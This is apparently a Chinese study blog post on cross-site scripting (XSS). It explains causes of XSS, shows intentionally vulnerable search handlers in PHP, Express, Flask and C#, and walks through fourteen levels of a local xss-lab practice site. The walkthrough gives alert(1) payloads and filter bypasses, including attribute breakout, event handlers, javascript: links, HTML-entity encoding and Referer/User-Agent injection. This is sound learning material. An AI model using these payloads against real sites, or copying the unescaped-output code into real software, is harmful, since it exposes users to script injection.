XSS学习

前言

在IoT设备中,也有遇到过XSS的情况,在此学习ing

XSS简介

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数

1
2
3
4
<?php
$xss = $_GET['x'];
echo $xss;
?>

产生层面

产生层面一般都是在前端,JavaScript代码能干什么,执行之后就会达到相应的效果

函数类

比如说php中的脚本的输出函数

常见的输出函数有:printprint_rechoprintfsprintfdievar_dumpvar_export

其实归根结底,XSS的攻击方式就是想办法“教唆”用户的浏览器去执行一些这个网页中原本不存在的前端代码

什么导致xss

输入验证和清理不足

Web 应用程序接受用户数据(例如通过表单),并使用这些数据动态生成 HTML 页面。因此,恶意脚本可以作为合法输入的一部分嵌入,并最终由浏览器执行,除非经过充分清理。

缺乏输出编码

用户可以使用各种字符来改变 Web 浏览器处理和显示网页的方式。对于 HTML 部分,将<>"'&等字符正确编码为各自的 HTML 编码至关重要。对于 JavaScript,应特别注意转义'"\无法正确编码用户提供的数据是导致XSS漏洞的主要原因。

安全标头使用不当

各种安全标头都可以帮助缓解XSS漏洞。例如,内容安全策略 ( CSP )通过定义哪些来源可信任可执行脚本来缓解XSS风险。配置错误的CSP(例如过于宽松的策略或不当使用unsafe-inlineunsafe-eval指令)可能会让攻击者更容易执行其XSS负载。

框架和语言漏洞

一些较旧的 Web 框架未提供针对XSS的安全机制;其他一些框架存在未修补的XSS漏洞。现代 Web 框架在设计上会自动避开XSS,并及时修补任何发现的漏洞。

第三方库

在 Web 应用程序中集成第三方库可能会引入XSS漏洞;即使核心 Web 应用程序不易受到攻击。

Bug code

一个简单的反射型XSS漏洞是当用户搜索某个术语时,搜索字符串会逐字包含在结果页面中。这种简单的情况为攻击者提供了一个容易利用的目标。

PHP

1
2
3
4
<?php
$search_query = $_GET['q'];
echo "<p>You searched for: $search_query</p>";
?>

JS

1
2
3
4
5
6
7
8
9
const express = require('express');
const app = express();

app.get('/search', function(req, res) {
var searchTerm = req.query.q;
res.send('You searched for: ' + searchTerm);
});

app.listen(80);

Python(Flask)

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask, request

app = Flask(__name__)

@app.route("/search")
def home():
query = request.args.get("q")
return f"You searched for: {query}!"

if __name__ == "__main__":
app.run(debug=True)

C#

1
2
3
4
5
public void Page_Load(object sender, EventArgs e)
{
var userInput = Request.QueryString["q"];
Response.Write("User Input: " + userInput);
}

xss-lab

level1

直接输入?name=<script>alert(1)</script>就可以发现没被过滤直接成功

level2

照常输入?name=<script>alert(1)</script>F12发现被转义成

1
&lt;script&gt;alert(1);&lt;/script&gt;

但是往下看会发现

1
<input name=keyword  value="<script>alert(1);</script>">

在value中没被转义,因此可以构造

1
<input name=keyword  value=""><script>alert(1);</script><"">

即输入 ?name="><script>alert(1);</script><"

level3

这一题涉及一个知识点

在 8.1.0 及以上的 PHP 版本中,这个函数默认会转义 <>&'" 这五个字符,基本可以防范这里的 XSS 攻击。
但是,8.1.0 以下版本的 PHP 默认只会转义 <>&" 这四个字符,不会转义单引号 '。这就给这个函数带来了巨大的安全隐患。

我们可以通过探测语句来看到这一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
'
"
()
< >
<script> </script>
<Script> </Script>
<scrscriptipt> <SCRscriptIPT>
Onerror
onerror
javascript:
JavaScript:
<!-- -->
eval()
<a>
<img>
<iframe>
<form>
src
{}
/
+

打进去看见

1
<h2 align=center>没有找到和' &quot; () &lt; &gt; &lt;script&gt; &lt;/script&gt; &lt;Script&gt; &lt;/Script&gt; &lt;scrscriptipt&gt; &lt;SCRscriptIPT&gt; Onerror onerror javascript: JavaScript: &lt;!-- --&gt; eval() &lt;a&gt; &lt;img&gt; &lt;iframe&gt; &lt;form&gt; src {} / +相关的结果.</h2><center>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
'   //未被转义
" //转译成&quot;
() //未被转义
< > //&lt; &gt;
<script> </script> //&lt;script&gt; &lt;/script&gt;
<Script> </Script> //&lt;Script&gt; &lt;/Script&gt;
<scrscriptipt> <SCRscriptIPT> //&lt;scrscriptipt&gt; &lt;SCRscriptIPT&gt;
Onerror //未被转义
onerror //未被转义
javascript: //未被转义
JavaScript: //未被转义
<!-- --> //&lt;!-- --&gt;
eval() //未被转义
<a> //&lt;a&gt;
<img> //&lt;img&gt;
<iframe> //&lt;ifname&gt;
<form> //&lt;form&gt;
src //未被转义
{} //未被转义
/ //未被转义
+ //未被转义

没有被过滤单引号,然后发现

1
<input name=keyword  value=''>	

value是通过单引号来闭合的,因此可以提前闭合value,但是没有<>就无法闭合标签,考虑使用触发器

1
<input name=keyword  value='' onblur='alert(1)'>	

?name=' onblur='alert(1)

input没有onerror,而onblur是失去焦点触发,因此搜索框随便输点东西之后点其他地方就成功触发

注意:空格

level4

1
2
3
<h2 align=center>没有找到和' &quot; () &lt; &gt; &lt;script&gt; &lt;/script&gt; &lt;Script&gt; &lt;/Script&gt; &lt;scrscriptipt&gt; &lt;SCRscriptIPT&gt; Onerror onerror javascript: JavaScript: &lt;!-- --&gt; eval() &lt;a&gt; &lt;img&gt; &lt;iframe&gt; &lt;form&gt; src {} / +相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword value="' " () script /script Script /Script scrscriptipt SCRscriptIPT Onerror onerror javascript: JavaScript: !-- -- eval() a img iframe form src {} / +">

发现value的双引号未被过滤且双引号闭合,因此类似level3

1
" onblur="alert(1)

level5

1
2
3
<h2 align=center>没有找到和' &quot; () &lt; &gt; &lt;script&gt; &lt;/script&gt; &lt;script&gt; &lt;/script&gt; &lt;scrscriptipt&gt; &lt;scrscriptipt&gt; onerror onerror javascript: javascript: &lt;!-- --&gt; eval() &lt;a&gt; &lt;img&gt; &lt;iframe&gt; &lt;form&gt; src {} / +相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="' " () < > <scr_ipt> </script> <scr_ipt> </script> <scrscriptipt> <scrscriptipt> o_nerror o_nerror javascript: javascript: <!-- --> eval() <a> <img> <iframe> <form> src {} / +">

发现<>和javascript未被过滤,但是script和on被转义成scr_ipt和o_n

标签是 HTML 中的锚点元素,主要用于创建链接,也可以用来执行js

1
<input name=keyword  value=""><a href="javascript:alert(1)">hack</a><"">

输入 "><a href="javascript:alert(1)">hack</a><"成功hack

level6

1
2
3
<h2 align=center>没有找到和' &quot; () &lt; &gt; &lt;script&gt; &lt;/script&gt; &lt;Script&gt; &lt;/Script&gt; &lt;scrscriptipt&gt; &lt;SCRscriptIPT&gt; Onerror onerror javascript: JavaScript: &lt;!-- --&gt; eval() &lt;a&gt; &lt;img&gt; &lt;iframe&gt; &lt;form&gt; src {} / +相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword value="' " () < > <scr_ipt> </script> <Script> </Script> <scrscriptipt> <SCRscriptIPT> Onerror o_nerror javascript: JavaScript: <!-- --> eval() <a> <img> <iframe> <form> sr_c {} / +">

但是发现

1
<input name=keyword  value=""><a hr_ef="javascript:alert(1)">hack</a><"">

href被转义掉了,但是看上面的尝试,会发现大写可用,尝试大写hREF成功

HTML大小写不敏感

level7

1
2
3
4
<h2 align=center>没有找到和' &quot; () &lt; &gt; &lt;script&gt; &lt;/script&gt; &lt;script&gt; &lt;/script&gt; &lt;scrscriptipt&gt; &lt;scrscriptipt&gt; onerror onerror javascript: javascript: &lt;!-- --&gt; eval() &lt;a&gt; &lt;img&gt; &lt;iframe&gt; &lt;form&gt; src {} / +相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword value="' " () < > <> </> <> </> <script> <script> error error java: java: <!-- --> eval() <a> <img> <iframe> <form> {} / +">

发现script和on都会被过滤掉,但是只过滤了一次,因此

1
<input name=keyword  value=""><scrscriptipt>alert(1);</scrscriptipt><"">

"><scrscriptipt>alert(1);</scrscriptipt><"

level8

发现输入的值被拼接到

1
</center><center><BR><a href="11">友情链接</a></center><center><img src=level8.jpg></center>

href后,但是JavaScript被转义了

1
</center><center><BR><a href="' &quot () < > <scr_ipt> </scr_ipt> <scr_ipt> </scr_ipt> <scrscr_iptipt> <scrscr_iptipt> o_nerror o_nerror javascr_ipt: javascr_ipt: <!-- --> eval() <a> <img> <iframe> <form> sr_c {} / +">友情链接</a></center><center><img src=level8.jpg></center>

这里要用到 href 属性的一个特性:href 传入的 URI 中,也可以使用 HTML 字符实体。在打开链接时,字符实体也会被转换为对应的字符。

1
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert(1);

level9

会检测http://

因此

1
javascr&#x69;pt:alert(1);//http://

level10

1
http://localhost/xss-levels/level10.php?keyword=test&t_link=tlink&t_history=thist&t_sort=tsort

会发现

1
2
3
4
5
6
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="tsort" type="hidden">

变成这样,因此t_sort是有值的

1
<input name="t_sort"  value="' " ()   script /script Script /Script scrscriptipt SCRscriptIPT Onerror onerror javascript: JavaScript: !-- -- eval() a img iframe form src {} /  " type="hidden">

只过滤掉了<>

1
<input name="t_sort"  value="" onmouseover=javascript:alert(1) type="" type="hidden">
1
" onmouseover=javascript:alert(1) type="

level11

发现存在referer字段

1
<input name="t_ref"  value="http://localhost/xss-levels/level10.php?keyword=&t_sort=%22%20onmouseover=javascript:alert(1)%20type=%22" type="hidden">

BP抓包

image-20250123115706229

讲Referrer改为” onmouseover=javascript:alert(1) type=”通过,成功

level12

1
2
3
4
5
6
7
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
<input name="t_ua" value="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" type="hidden">
</form>
</center><center><img src=level12.png></center>

发现有ua段,显然是用户信息,因此BP修改

1
<input name="t_ua"  value="" onmouseover=javascript:alert(1) type="" type="hidden">

level13

1
2
3
4
<input name="t_link"  value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="tsort" type="hidden">
<input name="t_cook" value="call me maybe?" type="hidden">

发现t_sort和t_cook可以通过GETS传参,但是t_cook的原理未知

BP抓包发现

1
Cookie: user=call+me+maybe%7F

Cookie的user字段便是t_cook的来源

level14

看源码发现网站貌似是挂了的